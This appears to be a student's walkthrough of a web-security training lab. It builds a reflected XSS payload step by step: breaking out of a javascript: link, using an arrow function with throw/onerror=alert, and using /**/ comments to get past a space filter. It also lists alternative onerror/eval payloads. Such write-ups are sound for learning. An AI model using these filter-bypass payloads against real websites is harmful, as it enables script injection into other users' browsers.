Reflected XSS in a JavaScript URL with some characters blocked

Objective

Where Vulnerability Born From

 <a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d2'}).finally(_ => window.location = '/')">Back to Blog</a>

Arrow Functions

Looking for answers based on a previously opened issue

Examining the Payload

  • Below URL is going to be your root URL.(If you wish you can choose another blog post and change the postId paramater accroding to that)

      rootUrl =  https://0a6a00eb03ae8d41c03a163900ba003c.web-security-academy.net/post?postId=2
    
  • As you can see this URL taking the postId field as the query parameter and using it in order to going back to the blog post with id = 2.

  • In order to escape from the rest of the URL and the same time not to break ouf the syntax you can use <&> for giving another query parameter.

      payload_v1 = https://0a6a00eb03ae8d41c03a163900ba003c.web-security-academy.net/post?postId=2&'}
    

    This is essential for closing the following statement {method:’post’,body:’ -→ we added ‘} → final version {method:’post’,body:’’}

Using the throw statement and onerror exception handler

As throw is a statement, it cannot be used as an expression. Instead, we need to use arrow functions to create a block so that the throw statement can be used.

So from that you know, according to accomplish to throw an exception you need to specify a arrow function (because you are not allowed to use any space characters and there is no such another way) like the following:

payload_v2 = https://0a6a00eb03ae8d41c03a163900ba003c.web-security-academy.net/post?postId=2&'},x=x=>{expression}

The alert function needs to be assigned to the onerror exception handler. So the expression parameter in the above URL should be replaced with the following statement:

expression = {throw/**/onerror=alert,1337}

Basically if an error occurs, throw statement is basically going to throw an exception to the global error handler and onerror event handler is going to call the alert function with the value 1337.

Critical Section

Alternative payloads to throw an exception:

onerror=alert;throw 1
onerror=eval;throw'=alert\x28document.domain\x29';

However, you cannot use these alternative payloads in this situation because you are not allowed to use white spaces and some characters are literally banned. That’s why, in order to filling the white spaces you need to use multi-line comment feature(/**/). It is possible use /**/ statement for both opening and closing a comment line on the same line.

payload_v3 = https://0a6a00eb03ae8d41c03a163900ba003c.web-security-academy.net/post?postId=2&'},x=x=>{throw/**/onerror=alert,1337}

So the payload is nearly ready to be complete but in order to this paylaod works, this request need to generate some errors.

A brief explanation about how to manage that:

payload_v4 = https://0a6a00eb03ae8d41c03a163900ba003c.web-security-academy.net/post?postId=2&'},x=x=>{throw/**/onerror=alert,1337},toString=x,window+'',{x:'
Final Act (Demonstration)
  • Copy the final version of your payload and paste it to the search bar.
  • In order to cause to alert function to be called, click to Back to Blog label.
  • You should see that alert is popped up on your screen, and the lab should have been solved.